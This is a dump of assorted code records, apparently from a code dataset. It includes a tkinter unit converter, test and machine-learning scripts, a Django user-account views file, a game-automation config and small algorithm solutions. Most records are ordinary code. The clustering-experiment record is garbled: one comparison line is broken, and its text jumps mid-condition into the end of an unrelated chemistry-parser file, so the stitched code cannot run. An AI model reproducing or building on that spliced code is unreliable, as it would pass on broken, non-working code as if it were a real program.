2.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"262200235","text":"from tkinter import *\n\n\ndef convert_to_measurements():\n clear_text()\n\n try:\n grams = float(kg_value.get()) * 1000\n pounds = float(kg_value.get()) * 2.20462\n ounces = float(kg_value.get()) * 35.274\n\n gram_text.insert(END, grams)\n pounds_text.insert(END, pounds)\n ounces_text.insert(END, ounces)\n except ValueError:\n gram_text.insert(END, \"NaN\")\n pounds_text.insert(END, \"NaN\")\n ounces_text.insert(END, \"NaN\")\n\n\ndef clear_text():\n gram_text.delete(1.0, END)\n pounds_text.delete(1.0, END)\n ounces_text.delete(1.0, END)\n\n\nwindow = Tk()\n\nkg_label = Label(window, text=\"Kg\")\nkg_label.grid(row=0, column=0)\n\nkg_value = StringVar()\nkg_input = Entry(window, textvariable=kg_value)\nkg_input.grid(row=0, column=1)\n\nconvert_button = Button(window, text=\"Convert\", command=convert_to_measurements)\nconvert_button.grid(row=0, column=2)\n\ngram_text = Text(window, height=1, width=20)\ngram_text.grid(row=1, column=0)\n\npounds_text = Text(window, height=1, width=20)\npounds_text.grid(row=1, column=1)\n\nounces_text = Text(window, height=1, width=20)\nounces_text.grid(row=1, column=2)\n\nwindow.mainloop()\n","sub_path":"PMC/Section14/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"633560110","text":"from unittest import TestCase\nfrom mockito import *\n\nfrom src.Fastq import *\nfrom src.SeqAdn import *\n\n__author__ = 'eps'\n\n\nclass TestFastq(TestCase):\n \"\"\"\n Esta clase de test representa los test para la clase Fastq\n \"\"\"\n def test_get_average_qual(self):\n \"\"\"\n Esta clase representa un claculo medio de todas las secuencias...\n\n\n \"\"\"\n seq_1 = mock(SeqAdn)\n seq_2 = mock(SeqAdn)\n\n when(seq_1).av_qual().thenReturn(10)\n when(seq_2).av_qual().thenReturn(15)\n\n fastq = Fastq('roche')\n fastq.add_sequences(seq_1)\n fastq.add_sequences(seq_2)\n\n self.assertEquals(fastq.get_average_qual(),12.5)\n","sub_path":"test/test_fastq.py","file_name":"test_fastq.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"122279317","text":"import numpy as np\nimport time\nimport yaml\nimport sys\nimport logging\nimport pandas as pd\nsys.path.append('../../../../Code/')\nfrom plot_grid import load_h5, data\nfrom kmeans_hops import getConstraints, normalize, doMutualInformation, getCollisions\nfrom rfml.core import Experiment\nfrom sklearn.cluster import k_means, KMeans, SpectralClustering, AgglomerativeClustering, DBSCAN\nfrom sklearn.metrics import silhouette_score\nfrom statistics import mode\nfrom collections import Counter\n\n\ndbg = True\nlogging.basicConfig(level=logging.DEBUG)\nlogger = logging.getLogger()\nlogger.handlers = []\nch = logging.StreamHandler()\nfmt = logging.Formatter(\"%(thread)d %(levelname)s --\"\n \"%(filename)s (line %(lineno)s):%(funcName)s: \"\n \"%(message)s\")\nch.setFormatter(fmt)\nch.setLevel(logging.DEBUG if dbg else logging.INFO)\nlogger.addHandler(ch)\n\nn_runs = 1 \nmax_iter = 50\n\n\ndef reassignClusterLabels(keylabels,guesslabels):\n guesslabels=np.asarray(guesslabels)\n originalGuessLabels=np.copy(guesslabels)\n numberOfClusters=max(keylabels)+1\n if numberOfClusters != len(set(keylabels)):\n return False\n for clusterNumber in range(numberOfClusters):\n locations = np.where(np.asarray(keylabels)==clusterNumber)\n guessMajority = max(set(list(originalGuessLabels[locations])), key=list(originalGuessLabels[locations]).count) \n guesslabels[np.where(np.asarray(originalGuessLabels)==guessMajority)[0]]=clusterNumber\n return list(guesslabels)\n\ndef getClusterAccuracy(keylabels,guesslabels):\n if not guesslabels:\n return None\n correct = (np.asarray(keylabels)==np.asarray(guesslabels))\n accuracy = correct.sum()/correct.size\n return accuracy\n\ndef getCollisionAccuracy(keylabels,guesslabels,collisions):\n if not guesslabels:\n return None\n if not collisions:\n return None\n guesslabels = reassignClusterLabels(keylabels,guesslabels)\n logger.debug(\"collisions {}\".format(collisions))\n flatList=[item for sublist in collisions for item in sublist]\n logger.debug(\"flatlist {}\".format(flatList))\n uniqueElements=set(flatList)\n tally=[]\n collisionAccuracy=0\n for elem in uniqueElements:\n if (keylabels[elem] == guesslabels[elem]):\n tally+=[1]\n else:\n tally+=[0]\n collisionAccuracy=sum(tally)/len(tally)\n return collisionAccuracy\n\ndef getSilhouetteCoeff(data,labels):\n silCoeff=silhouette_score(data,labels,metric='euclidean')\n return silCoeff\n\n\ndef getMinClusters(hops,params):\n endind = params.index(\"endtime\")\n startind = params.index(\"starttime\")\n numHops = hops.shape[0]\n overlaps=[]\n for hopidx,hop in enumerate(hops):\n start=hop[startind]\n end=hop[endind]\n #print(np.equal(np.delete(hops,hopidx,0)[:,startind]start))\n\n overlaps.append(np.sum(np.equal(np.delete(hops,hopidx,0)[:,startind]start)))\n return np.max(overlaps)+1\n\nclass MonteCarlo(Experiment):\n\n def __init__(self, config, dbg):\n super(MonteCarlo, self).__init__('MonteCarlo', config, dbg)\n with open('param_config.yml','r') as stream:\n self.param_dict = (yaml.load(stream))\n\n\n def run(self, trials, errors,runnum):\n numWritesToFile=0\n ktorun=[3,4,5,6,7,8]\n for kclusters in ktorun:\n for t in trials:\n for e in errors:\n logger.info(\"================= On Trial {} and Error {} ==============\".format(t,e))\n max_endtime = self.param_dict['grid']['duration'][2]\n hops, key, oparams = load_h5('../../../../Code/TimeHops/ZeroError' + str(kclusters)+'Hops.h5',['pulseshape'], t, e) \n logger.debug(\"key {}\".format(key))\n\n #PercentConstraintsDropped=[0,.25,.50,.75,.99]\n PercentConstraintsDropped=[0]\n for ConstraintsDropped in PercentConstraintsDropped:\n heldoutTrainPoints=[.5]\n for heldout in heldoutTrainPoints:\n train_hops = np.copy(hops)\n train_keys = np.copy(key)\n params = np.copy(oparams)\n print(max_endtime*.5)\n\n #hop indices that will be held out for testing\n test_hop_idx = np.where(np.asfarray(hops[:,np.where(params == 'starttime')[0]]) >(max_endtime*(heldout)))[0]\n test_hop_last50_idx = np.where(np.asfarray(hops[:,np.where(params == 'starttime')[0]]) >(max_endtime*(.5)))[0]\n logger.debug('held out test hops {}'.format(test_hop_idx))\n\n test_hops = hops[test_hop_last50_idx]\n test_keys = [key[indx] for indx in test_hop_last50_idx]\n\n test_hops = test_hops.astype(np.float)\n train_hops = train_hops.astype(np.float)\n\n train_hops=np.delete(train_hops,test_hop_idx,axis=0)\n train_keys=np.delete(train_keys,test_hop_idx)\n\n if (len(set(train_keys)) \"+ inpNameBase[:-3] + \"log \\n\")\n \n slurmFile.close()\n \n# lastXyz = self.xyz[-1]\n xyzFile = open(xyzName, 'w')\n xyzFile.write(str(len(self.elements))+\"\\n\\n\")\n \n for el, coord in zip(self.elements, self.xyz[-1]):\n xyzFile.write(el+\" \"+\" \".join([ str(c) for c in coord ])+\"\\n\")\n xyzFile.close()\n","sub_path":"terachemParser.py","file_name":"terachemParser.py","file_ext":"py","file_size_in_byte":5706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"5725220","text":"import numpy as np\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.datasets import load_iris\nfrom sklearn.externals import joblib\n\niris = load_iris()\n\nX = iris.data\ny = iris.target\n\nidxs = np.random.permutation(len(X))\n\nX_train = X[idxs[:-10]]\ny_train = y[idxs[:-10]]\n\nX_test = X[idxs[-10:]]\ny_test = y[idxs[-10:]]\n\nclf = KNeighborsClassifier()\nclf.fit(X_train, y_train)\n\njoblib.dump(clf, 'model.pkl')","sub_path":"train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"527645413","text":"import json\nfrom rank_bm25 import BM25Okapi\nfrom nltk.stem import PorterStemmer\n\ndef getRelevantCourses(school, interests):\n courses = getCourses(school)\n textArr = []\n for course in courses:\n text = course['title'] + '. ' + course['desc']\n textArr.append(process(text))\n bm25 = BM25Okapi(textArr)\n interests = interests.replace('-',' ')\n query = process(interests)\n scores = bm25.get_scores(query).tolist()\n #return bm25.get_top_n(query, textArr, n=1)\n idx = scores.index(max(scores))\n relevantCourses = []\n for i in range(len(scores)):\n courses[i]['relevancy'] = scores[i]\n if(scores[i] > 0):\n relevantCourses.append(courses[i])\n relevantCourses = insertionInverseSort(relevantCourses)\n return relevantCourses\n\ndef getCourses(school):\n with open('course_catalogs/courses_' + school + '.json', 'r') as jsonFile:\n data = json.load(jsonFile)\n return data['courses']\n\n#getRelevantCourses('ucla', 'gang')\n\ndef process(text):\n text = text.lower()\n text = text.replace('.', '').replace(' ',' ')\n words = text.split(' ')\n porter = PorterStemmer()\n stems = []\n for word in words:\n stems.append(porter.stem(word))\n return stems\n\ndef insertionInverseSort(courses):\n for i in range(1, len(courses)):\n key = courses[i]\n j = i - 1\n while j >= 0 and key['relevancy'] > courses[j]['relevancy']:\n courses[j+1] = courses[j]\n j -= 1\n courses[j+1] = key\n return courses\n\n#out = getRelevantCourses('ucdavis', 'chemical-engineering')\n\n","sub_path":"methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"367017555","text":"from datetime import datetime\n\nfrom django.db.models import Q\nfrom django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import render, redirect, render_to_response\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.generic import View\nfrom django.contrib.auth import authenticate, logout, login\nfrom django.core.paginator import Paginator\n\nfrom courses.models import CourseInfo\nfrom operations.models import UserLove, UserMessage\nfrom orgs.models import OrgInfo, TeacherInfo\nfrom utils.send_mail_tool import send_email_code\n# Create your views here.\n\nfrom users.forms import UserRegisterForm, UserLoginForm, UserForgetForm, UserResetForm, \\\n UserChangeImageForm, UserChangeInfoForm, UserChangeEmailForm, UserResetEmailForm, UserPwdForm\nfrom users.models import UserProfile, EmailVerifyCode, BannerInfo\n\nclass IndexView(View):\n def get(self, request):\n all_banners = BannerInfo.objects.all().order_by('-add_time')[:5]\n course_banners = CourseInfo.objects.filter(is_banner=True)[:3]\n all_course = CourseInfo.objects.filter(is_banner=False)[:6]\n all_orgs = OrgInfo.objects.all().order_by('-love_num')[:15]\n return render(request, 'index.html', locals())\n\n\n# def index(request):\n# all_banners = BannerInfo.objects.all().order_by('-add_time')[:5]\n# course_banners = CourseInfo.objects.filter(is_banner=True)[:3]\n# all_course = CourseInfo.objects.filter(is_banner=False)[:6]\n# all_orgs = OrgInfo.objects.all().order_by('-love_num')[:15]\n# return render(request, 'index.html', locals())\n\nclass RegisterView(View):\n def get(self, request):\n user_register_form = UserRegisterForm()\n return render(request, 'users/register.html', locals())\n\n def post(self, request):\n user_register_form = UserRegisterForm(request.POST)\n if user_register_form.is_valid():\n email = user_register_form.cleaned_data['email']\n password = user_register_form.cleaned_data['password']\n\n user_list = UserProfile.objects.filter(Q(username=email) | Q(email=email))\n if user_list:\n return render(request, 'users/register.html', {\n 'msg': '用户已经存在'\n })\n else:\n a = UserProfile()\n a.username = email\n a.set_password(password)\n a.email = email\n\n # 进行邮箱验证激活\n # 发送邮箱验证码\n if send_email_code(email, 1):\n a.save()\n return HttpResponse('情尽快前往邮箱激活账号')\n else:\n return HttpResponse('注册失败')\n # return redirect('/users/user_login')\n else:\n return render(request, 'users/register.html', {\n 'user_register_form': user_register_form\n })\n\n\nclass LoginView(View):\n def get(self, request):\n return render(request, 'users/login.html')\n\n def post(self, request):\n user_login_form = UserLoginForm(request.POST)\n if user_login_form.is_valid():\n email = user_login_form.cleaned_data['email']\n password = user_login_form.cleaned_data['password']\n\n user = authenticate(username=email, password=password)\n if user:\n if user.is_start:\n login(request, user)\n a = UserMessage()\n a.message_man = user.id\n a.message_content = '欢迎登录'\n a.save()\n url = request.COOKIES.get('url', '/')\n ret = redirect(url)\n ret.delete_cookie('url')\n return ret\n else:\n return HttpResponse('请去邮箱激活账号')\n else:\n return render(request, 'users/login.html', {\n 'msg': '邮箱或密码有误'\n })\n else:\n return render(request, 'users/login.html', {\n 'user_login_form': user_login_form\n })\n\n\ndef user_logout(request):\n logout(request)\n return redirect('/')\n\n\ndef user_active(request, code):\n if code:\n print(code)\n email_ver_list = EmailVerifyCode.objects.filter(code=code)\n if email_ver_list:\n print(email_ver_list)\n email_ver = email_ver_list[0]\n email = email_ver.email\n print(email)\n user_list = UserProfile.objects.filter(username=email)\n print(user_list)\n if user_list:\n user = user_list[0]\n user.is_start = True\n user.save()\n return redirect('/')\n else:\n return HttpResponse('code1')\n else:\n return HttpResponse('code2')\n else:\n return HttpResponse('code3')\n\n\nclass ForgetView(View):\n def get(self, request):\n user_forget_form = UserForgetForm()\n\n return render(request, 'users/forgetpwd.html', {\n 'user_forget_form': user_forget_form\n })\n\n def post(self, request):\n user_forget_form = UserForgetForm(request.POST)\n if user_forget_form.is_valid():\n email = user_forget_form.cleaned_data['email']\n user_list = UserProfile.objects.filter(email=email)\n if user_list:\n if send_email_code(email, 2):\n return HttpResponse('情尽快去邮箱重置密码')\n else:\n msg = '验证失败'\n return render(request, 'users/forgetpwd.html', locals())\n else:\n msg = '用户不存在'\n return render(request, 'users/forgetpwd.html', locals())\n else:\n return render(request, 'users/forgetpwd.html', locals())\n\n\ndef user_reset(request, code):\n if code:\n if request.method == 'GET':\n return render(request, 'users/password_reset.html', {\n 'code': code\n })\n else:\n user_reset_form = UserResetForm(request.POST)\n if user_reset_form.is_valid():\n password1 = user_reset_form.cleaned_data['password1']\n password2 = user_reset_form.cleaned_data['password2']\n if password1 == password2:\n email_ver_list = EmailVerifyCode.objects.filter(code=code)\n if email_ver_list:\n email_ver = email_ver_list[0]\n email = email_ver.email\n user_list = UserProfile.objects.filter(email=email)\n if user_list:\n user = user_list[0]\n user.set_password(password1)\n user.save()\n return redirect('/users/user_login/')\n else:\n pass\n else:\n pass\n else:\n return render(request, 'users/password_reset.html', {\n 'msg': '密码不一致',\n 'code': code\n })\n else:\n return render(request, 'users/password_reset.html', {\n 'user_reset_form': user_reset_form\n })\n\n\ndef user_info(request):\n return render(request, 'users/usercenter-info.html')\n\n\ndef user_changeimage(request):\n # instance 指明实例是什么，作修改的时候需要知道是给哪个对象实例进行修改，如果不指明，将会被当做创建对象去保存\n user_changeimage_form = UserChangeImageForm(request.POST, request.FILES, instance=request.user)\n if user_changeimage_form.is_valid():\n user_changeimage_form.save(commit=True)\n return JsonResponse({'status': 'ok'})\n else:\n return JsonResponse({'status': 'fail'})\n\n\ndef user_changeinfo(request):\n user_changeinfo_form = UserChangeInfoForm(request.POST, instance=request.user)\n if user_changeinfo_form.is_valid():\n user_changeinfo_form.save(commit=True)\n return JsonResponse({'status': 'ok', 'msg': '修改成功'})\n else:\n return JsonResponse({'status': 'fail', 'msg': '修改失败'})\n\n\ndef user_changeemail(request):\n user_changeeamil_form = UserChangeEmailForm(request.POST)\n if user_changeeamil_form.is_valid():\n email = user_changeeamil_form.cleaned_data['email']\n user_list = UserProfile.objects.filter(Q(email=email) | Q(username=email))\n if user_list:\n return JsonResponse({'status': 'fail', 'msg': '邮箱已经被绑定'})\n else:\n email_ver_list = EmailVerifyCode.objects.filter(email=email, send_type=3)\n if email_ver_list:\n email_ver = email_ver_list.order_by('-add_time')[0]\n # 判断当前时间和最近添加验证码的时间之差\n if (datetime.now() - email_ver.add_time).seconds > 60:\n email_ver.delete()\n send_email_code(email, 3)\n return JsonResponse({'status': 'ok', 'msg': '验证码已发送至邮箱'})\n else:\n return JsonResponse({'status': 'fail', 'msg': '请去邮箱查看验证码或请一分钟后重新发送'})\n else:\n send_email_code(email, 3)\n return JsonResponse({'status': 'ok', 'msg': '验证码已发送至邮箱'})\n else:\n return JsonResponse({'status': 'fail', 'msg': '您的邮箱存在异常'})\n\n\ndef user_resetemail(request):\n user_resetemail_form = UserResetEmailForm(request.POST)\n if user_resetemail_form.is_valid():\n email = user_resetemail_form.cleaned_data['email']\n code = user_resetemail_form.cleaned_data['code']\n print('==========', code, email)\n code_ver_list = EmailVerifyCode.objects.filter(email=email, code=code)\n print('-----------', code_ver_list)\n if code_ver_list:\n code_ver = code_ver_list[0]\n if (datetime.now() - code_ver.add_time).seconds < 60:\n request.user.username = email\n request.user.email = email\n request.user.save()\n return JsonResponse({'status': 'ok', 'msg': '修改成功'})\n else:\n return JsonResponse({'status': 'fail', 'msg': '验证码已经失效，请重新获取验证码'})\n else:\n return JsonResponse({'status': 'fail', 'msg': '邮箱或者验证码错误'})\n else:\n return JsonResponse({'status': 'fail', 'msg': '邮箱或者验证码异常'})\n\n\ndef user_course(request):\n all_courses = request.user.usercourse_set.all()\n course_list = [usercourse.study_course for usercourse in all_courses]\n return render(request, 'users/usercenter-mycourse.html', locals())\n\n\ndef user_fav_org(request):\n # all_fav_org = request.user.userlove_set.all().filter(love_type=1)\n all_fav_org = UserLove.objects.filter(love_man=request.user, love_type=1, love_status=True)\n org_id_list = [user_fav.love_id for user_fav in all_fav_org]\n org_list = OrgInfo.objects.filter(id__in=org_id_list)\n return render(request, 'users/usercenter-fav-org.html', {\n 'org_list': org_list\n })\n\n\ndef user_fav_teacher(request):\n all_fav_teacher = UserLove.objects.filter(love_man=request.user, love_type=3, love_status=True)\n teacher_id_list = [user_fav.love_id for user_fav in all_fav_teacher]\n teacher_list = TeacherInfo.objects.filter(id__in=teacher_id_list)\n return render(request, 'users/usercenter-fav-teacher.html', {\n 'teacher_list': teacher_list\n })\n\n\ndef user_fav_course(request):\n all_fav_course = UserLove.objects.filter(love_man=request.user, love_type=2, love_status=True)\n course_id_list = [user_fav.love_id for user_fav in all_fav_course]\n course_list = CourseInfo.objects.filter(id__in=course_id_list)\n return render(request, 'users/usercenter-fav-course.html', {\n 'course_list': course_list\n })\n\n\ndef user_message(request):\n msg_list = UserMessage.objects.filter(message_man=request.user.id).order_by('-add_time')\n page = request.GET.get('page', 1)\n pages = Paginator(msg_list, 5)\n try:\n pager = pages.page(page)\n except:\n pager = pages.page(1)\n return render(request, 'users/usercenter-message.html', locals())\n\n\ndef user_message_read(request):\n read_id = request.GET.get('read_id', '')\n msg = UserMessage.objects.filter(id=int(read_id))\n if msg:\n msg[0].message_status = True\n msg[0].save()\n return JsonResponse({'status': 'ok', 'msg': 'success'})\n else:\n return JsonResponse({'status': 'fail', 'msg': 'fail'})\n\n\ndef user_change_pwd(request):\n user_change_pwd_form = UserPwdForm(request.POST)\n if user_change_pwd_form.is_valid():\n pwd = user_change_pwd_form.cleaned_data['pwd']\n repwd = user_change_pwd_form.cleaned_data['repwd']\n if pwd == repwd:\n user = request.user\n user.set_password(pwd)\n user.save()\n return JsonResponse({'status': 'ok'})\n else:\n return JsonResponse({'status': 'fail', 'msg': '密码不一致'})\n else:\n return JsonResponse({'status': 'fail', 'msg': '密码不合法'})\n\n\ndef page_error(request):\n return render(request, '500.html')","sub_path":"apps/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"584778609","text":"from turtle import Turtle, setworldcoordinates\nimport random\nclass Food(Turtle):\n\n def __init__(self):\n super().__init__() \n self.shape(\"circle\")\n self.penup()\n self.color(\"red\")\n self.speed(\"fastest\")\n self.shapesize(0.5,0.5)\n\n self.newLoc()\n \n def newLoc(self):\n rax=random.randint(-280,290)\n ray=random.randint(-290,290)\n self.goto(rax,ray)\n ","sub_path":"food.py","file_name":"food.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"598870760","text":"# coding=utf-8\nfrom sikuli import *\n\nclass StageInformation:\n def __init__(self, image, waves):\n self.image = image\n self.waves = waves\n\nBotMachineImage = Pattern(\"BotMachineImage.png\").targetOffset(-34,19) # 請抓足以代表該視窗的標誌, 並且把目標位置偏移設到視窗內最左上角\n\n#####################################################\n# 助手開啟區 (把想要的設成True, 不想要的設成False\nChallengeDrawBot = False\nExchangeStaminaFruitBot = False\nMainStoryMode = False\n\n#####################################################\n# 刷關設定區(把想要的前面的井號拿掉, 其它前面都要有井號), 括號內第一個參數是要刷的關的圖, 第二個參數是這關有幾波 (目前無用, 可亂輸入)\nStages = {}\nStages[\"PreQuest1\" ] = StageInformation(\"1469840818738.png\", 3)\nStages[\"PreQuest2\" ] = StageInformation(\"1470737543685.png\", 3)\nStages[\"Apprentice1\" ] = StageInformation(\"1470737554297.png\", 3)\n#####################################################\n# 其他設定區\nTargetTime = -1 # 要打幾次, -1就是無限次\n\nCardsToSell = [\"1466877917129.png\", \"1469563069398.png\"] # 要賣的卡就丟進這裡, 記得Filter好鎖好\n# 要賣的卡抓的圖請抓在中間, 可以用左邊的綠標籤來做位置對應, 只能抓在\"選択し\"這三個字中間的區域\n# 或者是直接從下面的備用區拉上來\n\nUseStone = True # True或False, 是否要吃石回體力, 開之前請先想清楚\nApprenticeMode = True # True或False, 是否是練徒弟, 是的話到等級50會自動停掉\nDebugLog = False # True或False, 當有無法解決的問題的時候就打開這個\nWipeRevive = True # True或False, 是否自動復活 \nMasterID = \"\" # 師父的ID, 記得要填否則不會自動加師父好友\n######################################################\n\nCardsToSellBackup = [\"1469278773591.png\", \"1466877907788.png\"] # 備用","sub_path":"LongPianoConfig.sikuli/LongPianoConfig.py","file_name":"LongPianoConfig.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"436030439","text":"class Solution(object):\n def islandPerimeter(self, grid):\n \"\"\"\n :type grid: List[List[int]]\n :rtype: int\n \"\"\"\n\n def valid(row, col):\n if row < 0 or col < 0:\n return False\n if row >= len(grid) or col >= len(grid[0]):\n return False\n return True\n\n def countEdge(row, col):\n if grid[row][col] == 0:\n return 0\n count = 4\n if valid(row, col - 1) and grid[row][col - 1] == 1:\n count -= 1\n if valid(row - 1, col) and grid[row - 1][col] == 1:\n count -= 1\n if valid(row, col + 1) and grid[row][col + 1] == 1:\n count -= 1\n if valid(row + 1, col) and grid[row + 1][col] == 1:\n count -= 1\n return count\n\n overlap_dict = {}\n h, w = len(grid), len(grid[0])\n total = 0\n for i in range(h):\n for j in range(w):\n total += countEdge(i, j)\n return total\n\n\nres = Solution().islandPerimeter([[0,1,0,0],[1,1,1,0],[0,1,0,0],[1,1,0,0]])\nprint(res) #16\n","sub_path":"leet/题目/e463.py","file_name":"e463.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"296146086","text":"# import tkinter\n# import time\nclass FamilyTree:\n # canvas = None\n class Node:\n def __init__(self, data, left=None, right=None):\n self.data = data\n self.left = left\n self.right = right\n def __repr__(self):\n return str(self.data)\n def __contains__(self, item):\n return item == self.data\n\n def __init__(self, meno_suboru):\n # start = time.clock()\n t = open(meno_suboru)\n self.vztahy = dict()\n riadok = t.readline()\n self.synovia = set()\n self.otcovia = set()\n while riadok != '':\n kandidat = str(riadok.split())[2:-2].split('-')\n try:\n self.vztahy[kandidat[0]].add(kandidat[1])\n except:\n self.vztahy[kandidat[0]] = set()\n self.vztahy[kandidat[0]].add(kandidat[1])\n self.synovia.add(kandidat[1])\n self.otcovia.add(kandidat[0])\n riadok = t.readline()\n for key in self.vztahy.keys():\n if key not in self.synovia:\n self.root = self.Node(key)\n t.close()\n to_do = set()\n to_do.add(self.root)\n remove = set()\n while (self.vztahy):\n to_do = to_do - remove\n for node in to_do:\n parent = node\n try:\n kandidat = list(self.vztahy[parent.data])\n except:\n remove.add(parent)\n continue\n if len(kandidat) == 2:\n parent.left = self.Node(kandidat[0])\n parent.right = self.Node(kandidat[1])\n to_do.remove(parent); to_do.add(parent.left); to_do.add(parent.right)\n self.vztahy.pop(parent.data)\n break\n elif len(kandidat) == 1:\n parent.left = self.Node(kandidat[0])\n to_do.add(parent.left); to_do.remove(parent)\n self.vztahy.pop(parent.data)\n break\n else:\n break\n # end = time.clock()\n # print(end)\n\n def find(self, data):\n strom = self.root\n if strom is not None:\n q = [strom]\n posledny = q[0]\n while q:\n vrchol = q.pop(0)\n if vrchol.data == data:\n return vrchol\n if vrchol.left is not None:\n q.append(vrchol.left)\n if vrchol.right is not None:\n q.append(vrchol.right)\n\n def __len__(self):\n return len(self.synovia)+1\n\n def depth(self, data):\n strom = self.root\n if data == strom.data:\n return 0\n if strom is not None:\n q = [strom]\n posledny = q[0]\n level = 0\n while q:\n vrchol = q.pop(0)\n if vrchol.left is not None:\n q.append(vrchol.left)\n if vrchol.right is not None:\n q.append(vrchol.right)\n if posledny not in q and q != []:\n posledny = q[-1]\n level += 1\n for v in q:\n if v.data == data:\n return level\n return None\n\n def height(self):\n level = 0\n strom = self.root\n if strom is not None:\n q = [strom]\n posledny = q[0]\n while q:\n vrchol = q.pop(0)\n if vrchol.left is not None:\n q.append(vrchol.left)\n if vrchol.right is not None:\n q.append(vrchol.right)\n if posledny not in q and q != []:\n posledny = q[-1]\n level+= 1\n return level\n\n def width(self):\n maxWidth = 0\n strom = self.root\n if strom is not None:\n q = [strom]\n posledny = q[0]\n while q:\n vrchol = q.pop(0)\n if vrchol.left is not None:\n q.append(vrchol.left)\n if vrchol.right is not None:\n q.append(vrchol.right)\n if posledny not in q and q != []:\n posledny = q[-1]\n if len(q) > maxWidth:\n maxWidth = len(q)\n return maxWidth\n\n def subtree_num(self, data):\n if data == self.root.data:\n return self.__len__()\n def pocet(data):\n if data is not None:\n q = [data]\n pocet = 1\n posledny = q[0]\n while q:\n vrchol = q.pop(0)\n if vrchol.left is not None:\n q.append(vrchol.left)\n if vrchol.right is not None:\n q.append(vrchol.right)\n if posledny not in q and q != []:\n pocet += len(q)\n posledny = q[-1]\n else:\n return 0\n return pocet\n return pocet(self.find(data))\n\n def descendant(self, data1, data2):\n if data1 == data2:\n return False\n def hladaj(strom):\n if strom is None:\n return False\n if strom is not None:\n q = [strom]\n posledny = q[0]\n while q:\n vrchol = q.pop(0)\n if vrchol.data == data2:\n return True\n if vrchol.left is not None:\n q.append(vrchol.left)\n if vrchol.right is not None:\n q.append(vrchol.right)\n if posledny not in q and q != []:\n posledny = q[-1]\n return False\n podstrom = self.find(data1)\n return hladaj(podstrom)\n\n def level_set(self, k):\n strom = self.root\n tempset, return_set = set(), set()\n if k == 0:\n return_set.add(self.root.data)\n strom = None\n if strom is not None:\n q = [strom]\n infosky = [strom.data]\n level = 0\n posledny = q[0]\n while q:\n vrchol = q.pop(0)\n infosky.pop(0)\n if vrchol.left is not None:\n q.append(vrchol.left)\n infosky.append(vrchol.left.data)\n if vrchol.right is not None:\n q.append(vrchol.right)\n infosky.append(vrchol.right.data)\n if posledny not in q and q != []:\n posledny = q[-1]\n level += 1\n if level == k:\n return_set = set(infosky)\n return return_set\n\n def leaves_num(self):\n sons = set(self.synovia)\n parents = set(self.otcovia)\n return len(sons - parents)\n\n\nif __name__ == '__main__':\n f = FamilyTree('subor1.txt')\n print('pocet vrcholov =', len(f))\n print('podstrom pre Bohumir =', f.subtree_num('Bohumir'))\n print('podstrom pre Robert =', f.subtree_num('Robert'))\n print('vyska =', f.height())\n print('sirka =', f.width())\n print('hlbka vrcholu Svatopluk =', f.depth('Svatopluk'))\n print('Miroslav ma potomka Bohuslav =', f.descendant('Miroslav','Bohuslav'))\n print('Svatopluk ma potomka Svatopluk =', f.descendant('Svatopluk','Svatopluk'))\n print('vrcholy na urovni 0 =', f.level_set(0))\n # print('vrcholy na urovni 1 =', f.level_set(1))\n # print('vrcholy na urovni 2 =', f.level_set(2))\n # print('vrcholy na urovni 3 =', f.level_set(3))\n # print('vrcholy na urovni 4 =', f.level_set(4))\n # print('vrcholy na urovni 5 =', f.level_set(5))\n # print('vrcholy na urovni 6 =', f.level_set(6))\n print('vrcholy na urovni 10 =', f.level_set(10))\n print('pocet listov =', f.leaves_num())\n # f.draw()\n","sub_path":"2014-2015/proj5.py","file_name":"proj5.py","file_ext":"py","file_size_in_byte":8028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"4399960","text":"import sqlite3 as lite\n\nclass Database:\n TABLE_NAME, PRIMARY_KEY = \"Dictionary\", \"Word\"\n\n def __init__(self,database):\n self.conn = lite.connect(database)\n self.cursor = self.conn.cursor()\n\n def close(self):\n self.cursor.close()\n self.conn.commit()\n self.conn.close()\n\n\n def save(self,words):\n for word in words:\n try:\n self.cursor.execute(\"INSERT INTO {0} VALUES (?)\"\n .format(Database.TABLE_NAME),\n [word, ])\n except:\n pass\n\n def getrowid(self,word):\n result = self.cursor.execute(\"SELECT rowid FROM {0} where Word = ?\"\n .format(Database.TABLE_NAME),(word,))\n try:\n rowid = result.__next__()[0]\n except StopIteration:\n rowid = -1\n return rowid\n\n def getsize(self):\n query = \"SELECT Count(*) FROM {0}\".format(\n Database.TABLE_NAME)\n result = self.cursor.execute(query)\n return result.fetchone()[0]\n","sub_path":"Database.py","file_name":"Database.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"423942934","text":"import sys, getopt\n\ndef main(argv):\n if len(argv) > 1:\n raise Exception('too many args!')\n else:\n val = fibonacci(int(argv[0]))\n print(val)\n\ndef fibonacci(n):\n a,b = 1,1\n for i in range(n-1):\n a,b = b, a+b\n return 